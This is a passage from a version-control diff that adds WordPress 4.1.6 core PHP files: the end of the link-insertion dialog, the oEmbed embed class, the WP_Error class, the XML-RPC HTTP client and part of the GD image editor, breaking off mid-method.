+						<em class="query-notice-default"><?php _e( 'No search term specified. Showing recent items.' ); ?></em>
+						<em class="query-notice-hint screen-reader-text"><?php _e( 'Search or use up and down arrow keys to select an item.' ); ?></em>
+					</div>
+					<ul></ul>
+					<div class="river-waiting">
+						<span class="spinner"></span>
+					</div>
+				</div>
+			</div>
+		</div>
+		<div class="submitbox">
+			<div id="wp-link-cancel">
+				<a class="submitdelete deletion" href="#"><?php _e( 'Cancel' ); ?></a>
+			</div>
+			<div id="wp-link-update">
+				<input type="submit" value="<?php esc_attr_e( 'Add Link' ); ?>" class="button button-primary" id="wp-link-submit" name="wp-link-submit">
+			</div>
+		</div>
+		</form>
+		</div>
+		<?php
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-embed.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-embed.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-embed.php	(revision 33402)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * API for easily embedding rich media such as videos and images into content.
+ *
+ * @package WordPress
+ * @subpackage Embed
+ * @since 2.9.0
+ */
+class WP_Embed {
+	public $handlers = array();
+	public $post_ID;
+	public $usecache = true;
+	public $linkifunknown = true;
+
+	/**
+	 * When an URL cannot be embedded, return false instead of returning a link
+	 * or the URL. Bypasses the 'embed_maybe_make_link' filter.
+	 */
+	public $return_false_on_fail = false;
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		// Hack to get the [embed] shortcode to run before wpautop()
+		add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 );
+
+		// Shortcode placeholder for strip_shortcodes()
+		add_shortcode( 'embed', '__return_false' );
+
+		// Attempts to embed all URLs in a post
+		add_filter( 'the_content', array( $this, 'autoembed' ), 8 );
+
+		// After a post is saved, cache oEmbed items via AJAX
+		add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) );
+	}
+
+	/**
+	 * Process the [embed] shortcode.
+	 *
+	 * Since the [embed] shortcode needs to be run earlier than other shortcodes,
+	 * this function removes all existing shortcodes, registers the [embed] shortcode,
+	 * calls {@link do_shortcode()}, and then re-registers the old shortcodes.
+	 *
+	 * @uses $shortcode_tags
+	 *
+	 * @param string $content Content to parse
+	 * @return string Content with shortcode parsed
+	 */
+	public function run_shortcode( $content ) {
+		global $shortcode_tags;
+
+		// Back up current registered shortcodes and clear them all out
+		$orig_shortcode_tags = $shortcode_tags;
+		remove_all_shortcodes();
+
+		add_shortcode( 'embed', array( $this, 'shortcode' ) );
+
+		// Do the shortcode (only the [embed] one is registered)
+		$content = do_shortcode( $content, true );
+
+		// Put the original shortcodes back
+		$shortcode_tags = $orig_shortcode_tags;
+
+		return $content;
+	}
+
+	/**
+	 * If a post/page was saved, then output JavaScript to make
+	 * an AJAX request that will call WP_Embed::cache_oembed().
+	 */
+	public function maybe_run_ajax_cache() {
+		$post = get_post();
+
+		if ( ! $post || empty( $_GET['message'] ) )
+			return;
+
+?>
+<script type="text/javascript">
+/* <![CDATA[ */
+	jQuery(document).ready(function($){
+		$.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>");
+	});
+/* ]]> */
+</script>
+<?php
+	}
+
+	/**
+	 * Register an embed handler. Do not use this function directly, use {@link wp_embed_register_handler()} instead.
+	 * This function should probably also only be used for sites that do not support oEmbed.
+	 *
+	 * @param string $id An internal ID/name for the handler. Needs to be unique.
+	 * @param string $regex The regex that will be used to see if this handler should be used for a URL.
+	 * @param callback $callback The callback function that will be called if the regex is matched.
+	 * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested (default: 10). Lower numbers correspond with earlier testing, and handlers with the same priority are tested in the order in which they were added to the action.
+	 */
+	public function register_handler( $id, $regex, $callback, $priority = 10 ) {
+		$this->handlers[$priority][$id] = array(
+			'regex'    => $regex,
+			'callback' => $callback,
+		);
+	}
+
+	/**
+	 * Unregister a previously registered embed handler. Do not use this function directly, use {@link wp_embed_unregister_handler()} instead.
+	 *
+	 * @param string $id The handler ID that should be removed.
+	 * @param int $priority Optional. The priority of the handler to be removed (default: 10).
+	 */
+	public function unregister_handler( $id, $priority = 10 ) {
+		if ( isset($this->handlers[$priority][$id]) )
+			unset($this->handlers[$priority][$id]);
+	}
+
+	/**
+	 * The {@link do_shortcode()} callback function.
+	 *
+	 * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of the registered embed handlers.
+	 * If none of the regex matches and it's enabled, then the URL will be given to the {@link WP_oEmbed} class.
+	 *
+	 * @param array $attr {
+	 *     Shortcode attributes. Optional.
+	 *
+	 *     @type int $width  Width of the embed in pixels.
+	 *     @type int $height Height of the embed in pixels.
+	 * }
+	 * @param string $url The URL attempting to be embedded.
+	 * @return string The embed HTML on success, otherwise the original URL.
+	 */
+	public function shortcode( $attr, $url = '' ) {
+		$post = get_post();
+
+		if ( empty( $url ) && ! empty( $attr['src'] ) ) {
+			$url = $attr['src'];
+		}
+
+		if ( empty( $url ) )
+			return '';
+
+		$rawattr = $attr;
+		$attr = wp_parse_args( $attr, wp_embed_defaults( $url ) );
+
+		// kses converts & into &amp; and we need to undo this
+		// See https://core.trac.wordpress.org/ticket/11311
+		$url = str_replace( '&amp;', '&', $url );
+
+		// Look for known internal handlers
+		ksort( $this->handlers );
+		foreach ( $this->handlers as $priority => $handlers ) {
+			foreach ( $handlers as $id => $handler ) {
+				if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) {
+					if ( false !== $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ) )
+						/**
+						 * Filter the returned embed handler.
+						 *
+						 * @since 2.9.0
+						 *
+						 * @see WP_Embed::shortcode()
+						 *
+						 * @param mixed  $return The shortcode callback function to call.
+						 * @param string $url    The attempted embed URL.
+						 * @param array  $attr   An array of shortcode attributes.
+						 */
+						return apply_filters( 'embed_handler_html', $return, $url, $attr );
+				}
+			}
+		}
+
+		$post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null;
+		if ( ! empty( $this->post_ID ) ) // Potentially set by WP_Embed::cache_oembed()
+			$post_ID = $this->post_ID;
+
+		// Unknown URL format. Let oEmbed have a go.
+		if ( $post_ID ) {
+
+			// Check for a cached result (stored in the post meta)
+			$key_suffix = md5( $url . serialize( $attr ) );
+			$cachekey = '_oembed_' . $key_suffix;
+			$cachekey_time = '_oembed_time_' . $key_suffix;
+
+			/**
+			 * Filter the oEmbed TTL value (time to live).
+			 *
+			 * @since 4.0.0
+			 *
+			 * @param int    $time    Time to live (in seconds).
+			 * @param string $url     The attempted embed URL.
+			 * @param array  $attr    An array of shortcode attributes.
+			 * @param int    $post_ID Post ID.
+			 */
+			$ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_ID );
+
+			$cache = get_post_meta( $post_ID, $cachekey, true );
+			$cache_time = get_post_meta( $post_ID, $cachekey_time, true );
+
+			if ( ! $cache_time ) {
+				$cache_time = 0;
+			}
+
+			$cached_recently = ( time() - $cache_time ) < $ttl;
+
+			if ( $this->usecache || $cached_recently ) {
+				// Failures are cached. Serve one if we're using the cache.
+				if ( '{{unknown}}' === $cache )
+					return $this->maybe_make_link( $url );
+
+				if ( ! empty( $cache ) ) {
+					/**
+					 * Filter the cached oEmbed HTML.
+					 *
+					 * @since 2.9.0
+					 *
+					 * @see WP_Embed::shortcode()
+					 *
+					 * @param mixed  $cache   The cached HTML result, stored in post meta.
+					 * @param string $url     The attempted embed URL.
+					 * @param array  $attr    An array of shortcode attributes.
+					 * @param int    $post_ID Post ID.
+					 */
+					return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID );
+				}
+			}
+
+			/**
+			 * Filter whether to inspect the given URL for discoverable link tags.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @see WP_oEmbed::discover()
+			 *
+			 * @param bool $enable Whether to enable `<link>` tag discovery. Default false.
+			 */
+			$attr['discover'] = ( apply_filters( 'embed_oembed_discover', false ) && author_can( $post_ID, 'unfiltered_html' ) );
+
+			// Use oEmbed to get the HTML
+			$html = wp_oembed_get( $url, $attr );
+
+			// Maybe cache the result
+			if ( $html ) {
+				update_post_meta( $post_ID, $cachekey, $html );
+				update_post_meta( $post_ID, $cachekey_time, time() );
+			} elseif ( ! $cache ) {
+				update_post_meta( $post_ID, $cachekey, '{{unknown}}' );
+			}
+
+			// If there was a result, return it
+			if ( $html ) {
+				/** This filter is documented in wp-includes/class-wp-embed.php */
+				return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID );
+			}
+		}
+
+		// Still unknown
+		return $this->maybe_make_link( $url );
+	}
+
+	/**
+	 * Delete all oEmbed caches. Unused by core as of 4.0.0.
+	 *
+	 * @param int $post_ID Post ID to delete the caches for.
+	 */
+	public function delete_oembed_caches( $post_ID ) {
+		$post_metas = get_post_custom_keys( $post_ID );
+		if ( empty($post_metas) )
+			return;
+
+		foreach( $post_metas as $post_meta_key ) {
+			if ( '_oembed_' == substr( $post_meta_key, 0, 8 ) )
+				delete_post_meta( $post_ID, $post_meta_key );
+		}
+	}
+
+	/**
+	 * Triggers a caching of all oEmbed results.
+	 *
+	 * @param int $post_ID Post ID to do the caching for.
+	 */
+	public function cache_oembed( $post_ID ) {
+		$post = get_post( $post_ID );
+
+		$post_types = get_post_types( array( 'show_ui' => true ) );
+		/**
+		 * Filter the array of post types to cache oEmbed results for.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $post_types Array of post types to cache oEmbed results for. Defaults to post types with `show_ui` set to true.
+		 */
+		if ( empty( $post->ID ) || ! in_array( $post->post_type, apply_filters( 'embed_cache_oembed_types', $post_types ) ) ){
+			return;
+		}
+
+		// Trigger a caching
+		if ( ! empty( $post->post_content ) ) {
+			$this->post_ID = $post->ID;
+			$this->usecache = false;
+
+			$content = $this->run_shortcode( $post->post_content );
+			$this->autoembed( $content );
+
+			$this->usecache = true;
+		}
+	}
+
+	/**
+	 * Passes any unlinked URLs that are on their own line to {@link WP_Embed::shortcode()} for potential embedding.
+	 *
+	 * @uses WP_Embed::autoembed_callback()
+	 *
+	 * @param string $content The content to be searched.
+	 * @return string Potentially modified $content.
+	 */
+	public function autoembed( $content ) {
+		// Strip newlines from all elements.
+		$content = wp_replace_in_html_tags( $content, array( "\n" => " " ) );
+
+		// Find URLs that are on their own line.
+		return preg_replace_callback( '|^\s*(https?://[^\s"]+)\s*$|im', array( $this, 'autoembed_callback' ), $content );
+	}
+
+	/**
+	 * Callback function for {@link WP_Embed::autoembed()}.
+	 *
+	 * @param array $match A regex match array.
+	 * @return string The embed HTML on success, otherwise the original URL.
+	 */
+	public function autoembed_callback( $match ) {
+		$oldval = $this->linkifunknown;
+		$this->linkifunknown = false;
+		$return = $this->shortcode( array(), $match[1] );
+		$this->linkifunknown = $oldval;
+
+		return "\n$return\n";
+	}
+
+	/**
+	 * Conditionally makes a hyperlink based on an internal class variable.
+	 *
+	 * @param string $url URL to potentially be linked.
+	 * @return false|string Linked URL or the original URL. False if 'return_false_on_fail' is true.
+	 */
+	public function maybe_make_link( $url ) {
+		if ( $this->return_false_on_fail ) {
+			return false;
+		}
+
+		$output = ( $this->linkifunknown ) ? '<a href="' . esc_url($url) . '">' . esc_html($url) . '</a>' : $url;
+
+		/**
+		 * Filter the returned, maybe-linked embed URL.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $output The linked or original URL.
+		 * @param string $url    The original URL.
+		 */
+		return apply_filters( 'embed_maybe_make_link', $output, $url );
+	}
+}
+$GLOBALS['wp_embed'] = new WP_Embed();
Index: /tags/4.1.6/src/wp-includes/class-wp-error.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-error.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-error.php	(revision 33402)
@@ -0,0 +1,276 @@
+<?php
+/**
+ * WordPress Error API.
+ *
+ * Contains the WP_Error class and the is_wp_error() function.
+ *
+ * @package WordPress
+ */
+
+/**
+ * WordPress Error class.
+ *
+ * Container for checking for WordPress errors and error messages. Return
+ * WP_Error and use {@link is_wp_error()} to check if this class is returned.
+ * Many core WordPress functions pass this class in the event of an error and
+ * if not handled properly will result in code errors.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ */
+class WP_Error {
+	/**
+	 * Stores the list of errors.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $errors = array();
+
+	/**
+	 * Stores the list of data for error codes.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $error_data = array();
+
+	/**
+	 * Initialize the error.
+	 *
+	 * If `$code` is empty, the other parameters will be ignored.
+	 * When `$code` is not empty, `$message` will be used even if
+	 * it is empty. The `$data` parameter will be used only if it
+	 * is not empty.
+	 *
+	 * Though the class is constructed with a single error code and
+	 * message, multiple codes can be added using the `add()` method.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Error code
+	 * @param string $message Error message
+	 * @param mixed $data Optional. Error data.
+	 * @return WP_Error
+	 */
+	public function __construct( $code = '', $message = '', $data = '' ) {
+		if ( empty($code) )
+			return;
+
+		$this->errors[$code][] = $message;
+
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Retrieve all error codes.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return array List of error codes, if available.
+	 */
+	public function get_error_codes() {
+		if ( empty($this->errors) )
+			return array();
+
+		return array_keys($this->errors);
+	}
+
+	/**
+	 * Retrieve first error code available.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return string|int Empty string, if no error codes.
+	 */
+	public function get_error_code() {
+		$codes = $this->get_error_codes();
+
+		if ( empty($codes) )
+			return '';
+
+		return $codes[0];
+	}
+
+	/**
+	 * Retrieve all error messages or error messages matching code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Retrieve messages matching code, if exists.
+	 * @return array Error strings on success, or empty array on failure (if using code parameter).
+	 */
+	public function get_error_messages($code = '') {
+		// Return all messages if no code specified.
+		if ( empty($code) ) {
+			$all_messages = array();
+			foreach ( (array) $this->errors as $code => $messages )
+				$all_messages = array_merge($all_messages, $messages);
+
+			return $all_messages;
+		}
+
+		if ( isset($this->errors[$code]) )
+			return $this->errors[$code];
+		else
+			return array();
+	}
+
+	/**
+	 * Get single error message.
+	 *
+	 * This will get the first message available for the code. If no code is
+	 * given then the first code available will be used.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code to retrieve message.
+	 * @return string
+	 */
+	public function get_error_message($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+		$messages = $this->get_error_messages($code);
+		if ( empty($messages) )
+			return '';
+		return $messages[0];
+	}
+
+	/**
+	 * Retrieve error data for error code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code.
+	 * @return mixed Null, if no errors.
+	 */
+	public function get_error_data($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		if ( isset($this->error_data[$code]) )
+			return $this->error_data[$code];
+		return null;
+	}
+
+	/**
+	 * Add an error or append additional message to an existing error.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string|int $code Error code.
+	 * @param string $message Error message.
+	 * @param mixed $data Optional. Error data.
+	 */
+	public function add($code, $message, $data = '') {
+		$this->errors[$code][] = $message;
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Add data for error code.
+	 *
+	 * The error code can only contain one error data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param mixed $data Error data.
+	 * @param string|int $code Error code.
+	 */
+	public function add_data($data, $code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Removes the specified error.
+	 *
+	 * This function removes all error messages associated with the specified
+	 * error code, along with any error data for that code.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string|int $code Error code.
+	 */
+	public function remove( $code ) {
+		unset( $this->errors[ $code ] );
+		unset( $this->error_data[ $code ] );
+	}
+}
+
+/**
+ * Check whether variable is a WordPress Error.
+ *
+ * Returns true if $thing is an object of the WP_Error class.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $thing Check if unknown variable is a WP_Error object.
+ * @return bool True, if WP_Error. False, if not WP_Error.
+ */
+function is_wp_error($thing) {
+	if ( is_object($thing) && is_a($thing, 'WP_Error') )
+		return true;
+	return false;
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-http-ixr-client.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-http-ixr-client.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-http-ixr-client.php	(revision 33402)
@@ -0,0 +1,108 @@
+<?php
+/**
+ * WP_HTTP_IXR_Client
+ *
+ * @package WordPress
+ * @since 3.1.0
+ *
+ */
+class WP_HTTP_IXR_Client extends IXR_Client {
+	public $scheme;
+	/**
+	 * @var IXR_Error
+	 */
+	public $error;
+
+	/**
+	 * @param string $server
+	 * @param string|bool $path
+	 * @param int|bool $port
+	 * @param int $timeout
+	 */
+	public function __construct($server, $path = false, $port = false, $timeout = 15) {
+		if ( ! $path ) {
+			// Assume we have been given a URL instead
+			$bits = parse_url($server);
+			$this->scheme = $bits['scheme'];
+			$this->server = $bits['host'];
+			$this->port = isset($bits['port']) ? $bits['port'] : $port;
+			$this->path = !empty($bits['path']) ? $bits['path'] : '/';
+
+			// Make absolutely sure we have a path
+			if ( ! $this->path ) {
+				$this->path = '/';
+			}
+
+			if ( ! empty( $bits['query'] ) ) {
+				$this->path .= '?' . $bits['query'];
+			}
+		} else {
+			$this->scheme = 'http';
+			$this->server = $server;
+			$this->path = $path;
+			$this->port = $port;
+		}
+		$this->useragent = 'The Incutio XML-RPC PHP Library';
+		$this->timeout = $timeout;
+	}
+
+	public function query() {
+		$args = func_get_args();
+		$method = array_shift($args);
+		$request = new IXR_Request($method, $args);
+		$xml = $request->getXml();
+
+		$port = $this->port ? ":$this->port" : '';
+		$url = $this->scheme . '://' . $this->server . $port . $this->path;
+		$args = array(
+			'headers'    => array('Content-Type' => 'text/xml'),
+			'user-agent' => $this->useragent,
+			'body'       => $xml,
+		);
+
+		// Merge Custom headers ala #8145
+		foreach ( $this->headers as $header => $value )
+			$args['headers'][$header] = $value;
+
+		if ( $this->timeout !== false )
+			$args['timeout'] = $this->timeout;
+
+		// Now send the request
+		if ( $this->debug )
+			echo '<pre class="ixr_request">' . htmlspecialchars($xml) . "\n</pre>\n\n";
+
+		$response = wp_remote_post($url, $args);
+
+		if ( is_wp_error($response) ) {
+			$errno    = $response->get_error_code();
+			$errorstr = $response->get_error_message();
+			$this->error = new IXR_Error(-32300, "transport error: $errno $errorstr");
+			return false;
+		}
+
+		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
+			$this->error = new IXR_Error(-32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')');
+			return false;
+		}
+
+		if ( $this->debug )
+			echo '<pre class="ixr_response">' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n</pre>\n\n";
+
+		// Now parse what we've got back
+		$this->message = new IXR_Message( wp_remote_retrieve_body( $response ) );
+		if ( ! $this->message->parse() ) {
+			// XML error
+			$this->error = new IXR_Error(-32700, 'parse error. not well formed');
+			return false;
+		}
+
+		// Is the message a fault?
+		if ( $this->message->messageType == 'fault' ) {
+			$this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
+			return false;
+		}
+
+		// Message must be OK
+		return true;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-image-editor-gd.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-image-editor-gd.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-image-editor-gd.php	(revision 33402)
@@ -0,0 +1,466 @@
+<?php
+/**
+ * WordPress GD Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * WordPress Image Editor Class for Image Manipulation through GD
+ *
+ * @since 3.5.0
+ * @package WordPress
+ * @subpackage Image_Editor
+ * @uses WP_Image_Editor Extends class
+ */
+class WP_Image_Editor_GD extends WP_Image_Editor {
+	/**
+	 * @var resource
+	 */
+	protected $image; // GD Resource
+
+	public function __destruct() {
+		if ( $this->image ) {
+			// we don't need the original in memory anymore
+			imagedestroy( $this->image );
+		}
+	}
+
+	/**
+	 * Checks to see if current environment supports GD.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @return boolean
+	 */
+	public static function test( $args = array() ) {
+		if ( ! extension_loaded('gd') || ! function_exists('gd_info') )
+			return false;
+
+		// On some setups GD library does not provide imagerotate() - Ticket #11536
+		if ( isset( $args['methods'] ) &&
+			 in_array( 'rotate', $args['methods'] ) &&
+			 ! function_exists('imagerotate') ){
+
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks to see if editor supports the mime-type specified.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $mime_type
+	 * @return boolean
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		$image_types = imagetypes();
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return ($image_types & IMG_JPG) != 0;
+			case 'image/png':
+				return ($image_types & IMG_PNG) != 0;
+			case 'image/gif':
+				return ($image_types & IMG_GIF) != 0;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Loads image from $this->file into new GD Resource.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @return boolean|WP_Error True if loaded successfully; WP_Error on failure.
+	 */
+	public function load() {
+		if ( $this->image )
+			return true;
+
+		if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) )
+			return new WP_Error( 'error_loading_image', __('File doesn&#8217;t exist?'), $this->file );
+
+		/**
+		 * Filter the memory limit allocated for image manipulation.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param int|string $limit Maximum memory limit to allocate for images. Default WP_MAX_MEMORY_LIMIT.
+		 *                          Accepts an integer (bytes), or a shorthand string notation, such as '256M'.
+		 */
+		// Set artificially high because GD uses uncompressed images in memory
+		@ini_set( 'memory_limit', apply_filters( 'image_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+
+		$this->image = @imagecreatefromstring( file_get_contents( $this->file ) );
+
+		if ( ! is_resource( $this->image ) )
+			return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file );
+
+		$size = @getimagesize( $this->file );
+		if ( ! $size )
+			return new WP_Error( 'invalid_image', __('Could not read image size.'), $this->file );
+
+		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
+			imagealphablending( $this->image, false );
+			imagesavealpha( $this->image, true );
+		}
+
+		$this->update_size( $size[0], $size[1] );
+		$this->mime_type = $size['mime'];
+
+		return $this->set_quality();
+	}
+
+	/**
+	 * Sets or updates current image size.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param int $width
+	 * @param int $height
+	 */
+	protected function update_size( $width = false, $height = false ) {
+		if ( ! $width )
+			$width = imagesx( $this->image );
+
+		if ( ! $height )
+			$height = imagesy( $this->image );
+
+		return parent::update_size( $width, $height );
+	}
+
+	/**
+	 * Resizes current image.
+	 * Wraps _resize, since _resize returns a GD Resource.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  boolean  $crop
+	 * @return boolean|WP_Error
+	 */
+	public function resize( $max_w, $max_h, $crop = false ) {
+		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) )
+			return true;
+
+		$resized = $this->_resize( $max_w, $max_h, $crop );
+
+		if ( is_resource( $resized ) ) {
+			imagedestroy( $this->image );
+			$this->image = $resized;
+			return true;
+
+		} elseif ( is_wp_error( $resized ) )
+			return $resized;
+
+		return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file );
+	}
+
+	protected function _resize( $max_w, $max_h, $crop = false ) {
+		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );
+		if ( ! $dims ) {
+			return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions'), $this->file );
+		}
+		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;
+
+		$resized = wp_imagecreatetruecolor( $dst_w, $dst_h );
+		imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );
+
+		if ( is_resource( $resized ) ) {
+			$this->update_size( $dst_w, $dst_h );
+			return $resized;
+		}
+
+		return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file );
+	}
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'large'.
+	 *
+	 *     Either a height or width must be provided.
+	 *     If one of the two is set to null, the resize will
+	 *     maintain aspect ratio according to the provided dimension.
+	 *
+	 *     @type array $size {
+	 *         @type int  ['width']  Optional. Image width.
+	 *         @type int  ['height'] Optional. Image height.
+	 *         @type bool ['crop']   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images' metadata by size.
+	 */
+	public function multi_resize( $sizes ) {
+		$metadata = array();
+		$orig_size = $this->size;
+
+		foreach ( $sizes as $size => $size_data ) {
+			if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
+				continue;
+			}
+
+			if ( ! isset( $size_data['width'] ) ) {
+				$size_data['width'] = null;
+			}
+			if ( ! isset( $size_data['height'] ) ) {
+				$size_data['height'] = null;
+			}
+
+			if ( ! isset( $size_data['crop'] ) ) {
+				$size_data['crop'] = false;
+			}
+
+			$image = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] );
+
+			if( ! is_wp_error( $image ) ) {
+				$resized = $this->_save( $image );
+
+				imagedestroy( $image );
+
+				if ( ! is_wp_error( $resized ) && $resized ) {
+					unset( $resized['path'] );
+					$metadata[$size] = $resized;
+				}
+			}
+
+			$this->size = $orig_size;
+		}
+
+		return $metadata;
+	}
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param int $src_x The start x position to crop from.
+	 * @param int $src_y The start y position to crop from.
+	 * @param int $src_w The width to crop.
+	 * @param int $src_h The height to crop.
+	 * @param int $dst_w Optional. The destination width.
+	 * @param int $dst_h Optional. The destination height.
+	 * @param boolean $src_abs Optional. If the source crop points are absolute.
+	 * @return boolean|WP_Error
+	 */
+	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+		// If destination width/height isn't specified, use same as
+		// width/height from source.
+		if ( ! $dst_w )
+			$dst_w = $src_w;
+		if ( ! $dst_h )
+			$dst_h = $src_h;
+
+		$dst = wp_imagecreatetruecolor( $dst_w, $dst_h );
+
+		if ( $src_abs ) {
+			$src_w -= $src_x;
+			$src_h -= $src_y;
+		}
+
+		if ( function_exists( 'imageantialias' ) )
+			imageantialias( $dst, true );
+
+		imagecopyresampled( $dst, $this->image, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );
+
+		if ( is_resource( $dst ) ) {
+			imagedestroy( $this->image );
+			$this->image = $dst;
+			$this->update_size();
+			return true;
+		}
+
+		return new WP_Error( 'image_crop_error', __('Image crop failed.'), $this->file );
+	}
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 * Ported from image-edit.php
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param float $angle
+	 * @return boolean|WP_Error
+	 */
+	public function rotate( $angle ) {
+		if ( function_exists('imagerotate') ) {
+			$rotated = imagerotate( $this->image, $angle, 0 );
+
+			if ( is_resource( $rotated ) ) {
+				imagedestroy( $this->image );
+				$this->image = $rotated;
+				$this->update_size();
+				return true;
+			}
+		}
+		return new WP_Error( 'image_rotate_error', __('Image rotate failed.'), $this->file );
+	}
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param boolean $horz Flip along Horizontal Axis
+	 * @param boolean $vert Flip along Vertical Axis
+	 * @returns boolean|WP_Error
+	 */
+	public function flip( $horz, $vert ) {
+		$w = $this->size['width'];
+		$h = $this->size['height'];
+		$dst = wp_imagecreatetruecolor( $w, $h );
+
+		if ( is_resource( $dst ) ) {
